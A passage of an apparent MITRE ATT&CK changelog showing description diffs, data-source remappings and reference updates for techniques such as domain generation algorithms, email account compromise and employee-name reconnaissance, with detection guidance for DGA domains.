| > | (ex: cityjulydish.net). Many DGAs are time-based, generatin | > | ers (ex: cityjulydish.net). Many DGAs are time-based, genera | ||
| > | g a different domain for each time period (hourly, daily, mo | > | ting a different domain for each time period (hourly, daily, | ||
| > | nthly, etc). Others incorporate a seed value as well to make | > | monthly, etc). Others incorporate a seed value as well to m | ||
| > | predicting future domains more difficult for defenders.(Cit | > | ake predicting future domains more difficult for defenders.( | ||
| > | ation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella | > | Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrel | ||
| > | DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mit | > | la DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA | ||
| > | igation) Adversaries may use DGAs for the purpose of [Fallb | > | Mitigation) Adversaries may use DGAs for the purpose of [Fa | ||
| > | ack Channels](https://attack.mitre.org/techniques/T1008). Wh | > | llback Channels](https://attack.mitre.org/techniques/T1008). | ||
| > | en contact is lost with the primary command and control serv | > | When contact is lost with the primary command and control s | ||
| > | er malware may employ a DGA as a means to reestablishing com | > | erver malware may employ a DGA as a means to reestablishing | ||
| > | mand and control.(Citation: Talos CCleanup 2017)(Citation: F | > | command and control.(Citation: Talos CCleanup 2017)(Citation | ||
| > | ireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activi | > | : FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Act | ||
| > | ty) | > | ivity) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-02 01:37:39.618000+00:00 | 2022-03-11 18:26:23.432000+00:00 |
| description | Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination domain for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019) DGAs can take the form of apparently random or “gibberish” strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation) Adversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity) | Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination domain for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders to block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019) DGAs can take the form of apparently random or “gibberish” strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation) Adversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity) |
| external_references[10]['source_name'] | Endgame Predicting DGA | Elastic Predicting DGA |
| x_mitre_data_sources[0] | DNS records | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[1] | Netflow/Enclave netflow | Network Traffic: Network Traffic Flow |
| x_mitre_detection | Detecting dynamically generated domains can be challenging due to the number of different DGA algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There is a myriad of approaches for detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) CDN domains may trigger these detections due to the format of their domain names. In addition to detecting a DGA domain based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains. Machine learning approaches to detecting DGA domains have been developed and have seen success in applications. One approach is to use N-Gram methods to determine a randomness score for strings used in the domain name. If the randomness score is high, and the domains are not whitelisted (CDN, etc), then it may be determined if a domain is related to a legitimate host or DGA.(Citation: Pace University Detecting DGA May 2017) Another approach is to use deep learning to classify domains as DGA-generated.(Citation: Endgame Predicting DGA) | Detecting dynamically generated domains can be challenging due to the number of different DGA algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There is a myriad of approaches for detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) CDN domains may trigger these detections due to the format of their domain names. In addition to detecting a DGA domain based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains. Machine learning approaches to detecting DGA domains have been developed and have seen success in applications. One approach is to use N-Gram methods to determine a randomness score for strings used in the domain name. If the randomness score is high, and the domains are not whitelisted (CDN, etc), then it may be determined if a domain is related to a legitimate host or DGA.(Citation: Pace University Detecting DGA May 2017) Another approach is to use deep learning to classify domains as DGA-generated.(Citation: Elastic Predicting DGA) |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Network device logs | |
| x_mitre_data_sources | Packet capture | |
| x_mitre_data_sources | Process use of network |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may gather informa | t | 1 | Adversaries may gather information about the victim's networ |
| > | tion about the victim's network domain(s) that can be used d | > | k domain(s) that can be used during targeting. Information a | ||
| > | uring targeting. Information about domains and their propert | > | bout domains and their properties may include a variety of d | ||
| > | ies may include a variety of details, including what domain( | > | etails, including what domain(s) the victim owns as well as | ||
| > | s) the victim owns as well as administrative data (ex: name, | > | administrative data (ex: name, registrar, etc.) and more dir | ||
| > | registrar, etc.) and more directly actionable information s | > | ectly actionable information such as contacts (email address | ||
| > | uch as contacts (email addresses and phone numbers), busines | > | es and phone numbers), business addresses, and name servers. | ||
| > | s addresses, and name servers. Adversaries may gather this | > | Adversaries may gather this information in various ways, s | ||
| > | information in various ways, such as direct collection actio | > | uch as direct collection actions via [Active Scanning](https | ||
| > | ns via [Active Scanning](https://attack.mitre.org/techniques | > | ://attack.mitre.org/techniques/T1595) or [Phishing for Infor | ||
| > | /T1595) or [Phishing for Information](https://attack.mitre.o | > | mation](https://attack.mitre.org/techniques/T1598). Informat | ||
| > | rg/techniques/T1598). Information about victim domains and t | > | ion about victim domains and their properties may also be ex | ||
| > | heir properties may also be exposed to adversaries via onlin | > | posed to adversaries via online or other accessible data set | ||
| > | e or other accessible data sets (ex: [WHOIS](https://attack. | > | s (ex: [WHOIS](https://attack.mitre.org/techniques/T1596/002 | ||
| > | mitre.org/techniques/T1596/002)).(Citation: WHOIS)(Citation: | > | )).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl | ||
| > | DNS Dumpster)(Citation: Circl Passive DNS) Gathering this i | > | Passive DNS) Gathering this information may reveal opportun | ||
| > | nformation may reveal opportunities for other forms of recon | > | ities for other forms of reconnaissance (ex: [Search Open Te | ||
| > | naissance (ex: [Search Open Technical Databases](https://att | > | chnical Databases](https://attack.mitre.org/techniques/T1596 | ||
| > | ack.mitre.org/techniques/T1596), [Search Open Websites/Domai | > | ), [Search Open Websites/Domains](https://attack.mitre.org/t | ||
| > | ns](https://attack.mitre.org/techniques/T1593), or [Phishing | > | echniques/T1593), or [Phishing for Information](https://atta | ||
| > | for Information](https://attack.mitre.org/techniques/T1598) | > | ck.mitre.org/techniques/T1598)), establishing operational re | ||
| > | ), establishing operational resources (ex: [Acquire Infrastr | > | sources (ex: [Acquire Infrastructure](https://attack.mitre.o | ||
| > | ucture](https://attack.mitre.org/techniques/T1583) or [Compr | > | rg/techniques/T1583) or [Compromise Infrastructure](https:// | ||
| > | omise Infrastructure](https://attack.mitre.org/techniques/T1 | > | attack.mitre.org/techniques/T1584)), and/or initial access ( | ||
| > | 584)), and/or initial access (ex: [Phishing](https://attack. | > | ex: [Phishing](https://attack.mitre.org/techniques/T1566)). | ||
| > | mitre.org/techniques/T1566)). | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-25 22:58:22.915000+00:00 | 2021-04-15 03:30:33.508000+00:00 |
| description | Before compromising a victim, adversaries may gather information about the victim's network domain(s) that can be used during targeting. Information about domains and their properties may include a variety of details, including what domain(s) the victim owns as well as administrative data (ex: name, registrar, etc.) and more directly actionable information such as contacts (email addresses and phone numbers), business addresses, and name servers. Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about victim domains and their properties may also be exposed to adversaries via online or other accessible data sets (ex: [WHOIS](https://attack.mitre.org/techniques/T1596/002)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)). | Adversaries may gather information about the victim's network domain(s) that can be used during targeting. Information about domains and their properties may include a variety of details, including what domain(s) the victim owns as well as administrative data (ex: name, registrar, etc.) and more directly actionable information such as contacts (email addresses and phone numbers), business addresses, and name servers. Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about victim domains and their properties may also be exposed to adversaries via online or other accessible data sets (ex: [WHOIS](https://attack.mitre.org/techniques/T1596/002)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)). |
Current version: 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['User'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-17 18:26:17.858000+00:00 | 2022-04-05 19:58:03.031000+00:00 |
| external_references[1]['source_name'] | Microsoft Trusts | Microsoft Operation Wilysupply |
| external_references[1]['description'] | Microsoft. (2009, October 7). Trust Technologies. Retrieved February 14, 2019. | Florio, E.. (2017, May 4). Windows Defender ATP thwarts Operation WilySupply software supply chain cyberattack. Retrieved February 14, 2019. |
| external_references[1]['url'] | https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc759554(v=ws.10) | https://www.microsoft.com/security/blog/2017/05/04/windows-defender-atp-thwarts-operation-wilysupply-software-supply-chain-cyberattack/ |
| external_references[3]['source_name'] | Harmj0y Domain Trusts | Microsoft Trusts |
| external_references[3]['description'] | Schroeder, W. (2017, October 30). A Guide to Attacking Domain Trusts. Retrieved February 14, 2019. | Microsoft. (2009, October 7). Trust Technologies. Retrieved February 14, 2019. |
| external_references[3]['url'] | http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/ | https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc759554(v=ws.10) |
| external_references[4]['source_name'] | Microsoft Operation Wilysupply | Microsoft GetAllTrustRelationships |
| external_references[4]['description'] | Florio, E.. (2017, May 4). Windows Defender ATP thwarts Operation WilySupply software supply chain cyberattack. Retrieved February 14, 2019. | Microsoft. (n.d.). Domain.GetAllTrustRelationships Method. Retrieved February 14, 2019. |
| external_references[4]['url'] | https://www.microsoft.com/security/blog/2017/05/04/windows-defender-atp-thwarts-operation-wilysupply-software-supply-chain-cyberattack/ | https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectory.domain.getalltrustrelationships?redirectedfrom=MSDN&view=netframework-4.7.2#System_DirectoryServices_ActiveDirectory_Domain_GetAllTrustRelationships |
| external_references[5]['source_name'] | Microsoft GetAllTrustRelationships | Harmj0y Domain Trusts |
| external_references[5]['description'] | Microsoft. (n.d.). Domain.GetAllTrustRelationships Method. Retrieved February 14, 2019. | Schroeder, W. (2017, October 30). A Guide to Attacking Domain Trusts. Retrieved February 14, 2019. |
| external_references[5]['url'] | https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectory.domain.getalltrustrelationships?redirectedfrom=MSDN&view=netframework-4.7.2#System_DirectoryServices_ActiveDirectory_Domain_GetAllTrustRelationships | https://posts.specterops.io/a-guide-to-attacking-domain-trusts-971e52cb2944 |
| x_mitre_data_sources[0] | PowerShell logs | Process: Process Creation |
| x_mitre_data_sources[1] | API monitoring | Script: Script Execution |
| x_mitre_data_sources[2] | Process command-line parameters | Command: Command Execution |
| x_mitre_data_sources[3] | Process monitoring | Process: OS API Execution |
Current version: 1.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-02 01:37:39.938000+00:00 | 2022-03-11 18:26:23.782000+00:00 |
| x_mitre_data_sources[0] | SSL/TLS inspection | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[1] | Web logs | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[2] | DNS records | Network Traffic: Network Traffic Content |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may compromise ema | t | 1 | Adversaries may compromise email accounts that can be used d |
| > | il accounts that can be used during targeting. Adversaries c | > | uring targeting. Adversaries can use compromised email accou | ||
| > | an use compromised email accounts to further their operation | > | nts to further their operations, such as leveraging them to | ||
| > | s, such as leveraging them to conduct [Phishing for Informat | > | conduct [Phishing for Information](https://attack.mitre.org/ | ||
| > | ion](https://attack.mitre.org/techniques/T1598) or [Phishing | > | techniques/T1598) or [Phishing](https://attack.mitre.org/tec | ||
| > | ](https://attack.mitre.org/techniques/T1566). Utilizing an e | > | hniques/T1566). Utilizing an existing persona with a comprom | ||
| > | xisting persona with a compromised email account may engende | > | ised email account may engender a level of trust in a potent | ||
| > | r a level of trust in a potential victim if they have a rela | > | ial victim if they have a relationship, or knowledge of, the | ||
| > | tionship, or knowledge of, the compromised persona. Compromi | > | compromised persona. Compromised email accounts can also be | ||
| > | sed email accounts can also be used in the acquisition of in | > | used in the acquisition of infrastructure (ex: [Domains](ht | ||
| > | frastructure (ex: [Domains](https://attack.mitre.org/techniq | > | tps://attack.mitre.org/techniques/T1583/001)). A variety of | ||
| > | ues/T1583/001)). A variety of methods exist for compromisin | > | methods exist for compromising email accounts, such as gath | ||
| > | g email accounts, such as gathering credentials via [Phishin | > | ering credentials via [Phishing for Information](https://att | ||
| > | g for Information](https://attack.mitre.org/techniques/T1598 | > | ack.mitre.org/techniques/T1598), purchasing credentials from | ||
| > | ), purchasing credentials from third-party sites, or by brut | > | third-party sites, or by brute forcing credentials (ex: pas | ||
| > | e forcing credentials (ex: password reuse from breach creden | > | sword reuse from breach credential dumps).(Citation: AnonHBG | ||
| > | tial dumps).(Citation: AnonHBGary) Prior to compromising ema | > | ary) Prior to compromising email accounts, adversaries may c | ||
| > | il accounts, adversaries may conduct Reconnaissance to infor | > | onduct Reconnaissance to inform decisions about which accoun | ||
| > | m decisions about which accounts to compromise to further th | > | ts to compromise to further their operation. Adversaries ca | ||
| > | eir operation. Adversaries can use a compromised email acco | > | n use a compromised email account to hijack existing email t | ||
| > | unt to hijack existing email threads with targets of interes | > | hreads with targets of interest. | ||
| > | t. | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-20 16:40:58.761000+00:00 | 2021-04-15 02:57:25.544000+00:00 |
| description | Before compromising a victim, adversaries may compromise email accounts that can be used during targeting. Adversaries can use compromised email accounts to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566). Utilizing an existing persona with a compromised email account may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. Compromised email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)). A variety of methods exist for compromising email accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising email accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Adversaries can use a compromised email account to hijack existing email threads with targets of interest. | Adversaries may compromise email accounts that can be used during targeting. Adversaries can use compromised email accounts to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566). Utilizing an existing persona with a compromised email account may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. Compromised email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)). A variety of methods exist for compromising email accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising email accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Adversaries can use a compromised email account to hijack existing email threads with targets of interest. |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may create email a | t | 1 | Adversaries may create email accounts that can be used durin |
| > | ccounts that can be used during targeting. Adversaries can u | > | g targeting. Adversaries can use accounts created with email | ||
| > | se accounts created with email providers to further their op | > | providers to further their operations, such as leveraging t | ||
| > | erations, such as leveraging them to conduct [Phishing for I | > | hem to conduct [Phishing for Information](https://attack.mit | ||
| > | nformation](https://attack.mitre.org/techniques/T1598) or [P | > | re.org/techniques/T1598) or [Phishing](https://attack.mitre. | ||
| > | hishing](https://attack.mitre.org/techniques/T1566).(Citatio | > | org/techniques/T1566).(Citation: Mandiant APT1) Adversaries | ||
| > | n: Mandiant APT1) Adversaries may also take steps to cultiva | > | may also take steps to cultivate a persona around the email | ||
| > | te a persona around the email account, such as through use o | > | account, such as through use of [Social Media Accounts](http | ||
| > | f [Social Media Accounts](https://attack.mitre.org/technique | > | s://attack.mitre.org/techniques/T1585/001), to increase the | ||
| > | s/T1585/001), to increase the chance of success of follow-on | > | chance of success of follow-on behaviors. Created email acco | ||
| > | behaviors. Created email accounts can also be used in the a | > | unts can also be used in the acquisition of infrastructure ( | ||
| > | cquisition of infrastructure (ex: [Domains](https://attack.m | > | ex: [Domains](https://attack.mitre.org/techniques/T1583/001) | ||
| > | itre.org/techniques/T1583/001)).(Citation: Mandiant APT1) T | > | ).(Citation: Mandiant APT1) To decrease the chance of physi | ||
| > | o decrease the chance of physically tying back operations to | > | cally tying back operations to themselves, adversaries may m | ||
| > | themselves, adversaries may make use of disposable email se | > | ake use of disposable email services.(Citation: Trend Micro | ||
| > | rvices.(Citation: Trend Micro R980 2016) | > | R980 2016) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-14 00:48:47.515000+00:00 | 2021-04-15 03:09:59.862000+00:00 |
| description | Before compromising a victim, adversaries may create email accounts that can be used during targeting. Adversaries can use accounts created with email providers to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1) Adversaries may also take steps to cultivate a persona around the email account, such as through use of [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001), to increase the chance of success of follow-on behaviors. Created email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)).(Citation: Mandiant APT1) To decrease the chance of physically tying back operations to themselves, adversaries may make use of disposable email services.(Citation: Trend Micro R980 2016) | Adversaries may create email accounts that can be used during targeting. Adversaries can use accounts created with email providers to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1) Adversaries may also take steps to cultivate a persona around the email account, such as through use of [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001), to increase the chance of success of follow-on behaviors. Created email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)).(Citation: Mandiant APT1) To decrease the chance of physically tying back operations to themselves, adversaries may make use of disposable email services.(Citation: Trend Micro R980 2016) |
Current version: 1.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-24 21:37:25.307000+00:00 | 2022-04-20 00:16:01.732000+00:00 |
| external_references[1]['source_name'] | xorrior emond Jan 2018 | magnusviri emond Apr 2016 |
| external_references[1]['description'] | Ross, Chris. (2018, January 17). Leveraging Emond on macOS For Persistence. Retrieved September 10, 2019. | Reynolds, James. (2016, April 7). What is emond?. Retrieved September 10, 2019. |
| external_references[1]['url'] | https://www.xorrior.com/emond-persistence/ | http://www.magnusviri.com/Mac/what-is-emond.html |
| external_references[2]['source_name'] | magnusviri emond Apr 2016 | xorrior emond Jan 2018 |
| external_references[2]['description'] | Reynolds, James. (2016, April 7). What is emond?. Retrieved September 10, 2019. | Ross, Chris. (2018, January 17). Leveraging Emond on macOS For Persistence. Retrieved September 10, 2019. |
| external_references[2]['url'] | http://www.magnusviri.com/Mac/what-is-emond.html | https://www.xorrior.com/emond-persistence/ |
| x_mitre_data_sources[0] | File monitoring | Process: Process Creation |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Command: Command Execution | |
| x_mitre_data_sources | File: File Creation | |
| x_mitre_data_sources | File: File Modification |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may gather employe | t | 1 | Adversaries may gather employee names that can be used durin |
| > | e names that can be used during targeting. Employee names be | > | g targeting. Employee names be used to derive email addresse | ||
| > | used to derive email addresses as well as to help guide oth | > | s as well as to help guide other reconnaissance efforts and/ | ||
| > | er reconnaissance efforts and/or craft more-believable lures | > | or craft more-believable lures. Adversaries may easily gath | ||
| > | . Adversaries may easily gather employee names, since they | > | er employee names, since they may be readily available and e | ||
| > | may be readily available and exposed via online or other acc | > | xposed via online or other accessible data sets (ex: [Social | ||
| > | essible data sets (ex: [Social Media](https://attack.mitre.o | > | Media](https://attack.mitre.org/techniques/T1593/001) or [S | ||
| > | rg/techniques/T1593/001) or [Search Victim-Owned Websites](h | > | earch Victim-Owned Websites](https://attack.mitre.org/techni | ||
| > | ttps://attack.mitre.org/techniques/T1594)).(Citation: OPM Le | > | ques/T1594)).(Citation: OPM Leak) Gathering this information | ||
| > | ak) Gathering this information may reveal opportunities for | > | may reveal opportunities for other forms of reconnaissance | ||
| > | other forms of reconnaissance (ex: [Search Open Websites/Dom | > | (ex: [Search Open Websites/Domains](https://attack.mitre.org | ||
| > | ains](https://attack.mitre.org/techniques/T1593) or [Phishin | > | /techniques/T1593) or [Phishing for Information](https://att | ||
| > | g for Information](https://attack.mitre.org/techniques/T1598 | > | ack.mitre.org/techniques/T1598)), establishing operational r | ||
| > | )), establishing operational resources (ex: [Compromise Acco | > | esources (ex: [Compromise Accounts](https://attack.mitre.org | ||
| > | unts](https://attack.mitre.org/techniques/T1586)), and/or in | > | /techniques/T1586)), and/or initial access (ex: [Phishing](h | ||
| > | itial access (ex: [Phishing](https://attack.mitre.org/techni | > | ttps://attack.mitre.org/techniques/T1566) or [Valid Accounts | ||
| > | ques/T1566) or [Valid Accounts](https://attack.mitre.org/tec | > | ](https://attack.mitre.org/techniques/T1078)). | ||
| > | hniques/T1078)). | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 03:46:29.173000+00:00 | 2021-04-15 03:27:49.437000+00:00 |
| description | Before compromising a victim, adversaries may gather employee names that can be used during targeting. Employee names be used to derive email addresses as well as to help guide other reconnaissance efforts and/or craft more-believable lures. Adversaries may easily gather employee names, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). | Adversaries may gather employee names that can be used during targeting. Employee names be used to derive email addresses as well as to help guide other reconnaissance efforts and/or craft more-believable lures. Adversaries may easily gather employee names, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). |
Current version: 1.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 00:37:16.809000+00:00 | 2021-04-20 19:27:46.650000+00:00 |
| x_mitre_data_sources[0] | SSL/TLS inspection | Network Traffic: Network Traffic Content |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process monitoring | |
| x_mitre_data_sources | Process use of network | |
| x_mitre_data_sources | Malware reverse engineering | |
| x_mitre_data_sources | Netflow/Enclave netflow | |
| x_mitre_data_sources | Packet capture |
Current version: 1.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['User'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-24 18:52:12.719000+00:00 | 2022-05-04 14:52:51.290000+00:00 |
| external_references[1]['source_name'] | EK Clueless Agents | Proofpoint Router Malvertising |
| external_references[1]['description'] | Riordan, J., Schneier, B. (1998, June 18). Environmental Key Generation towards Clueless Agents. Retrieved January 18, 2019. | Kafeine. (2016, December 13). Home Routers Under Attack via Malvertising on Windows, Android Devices. Retrieved January 16, 2019. |
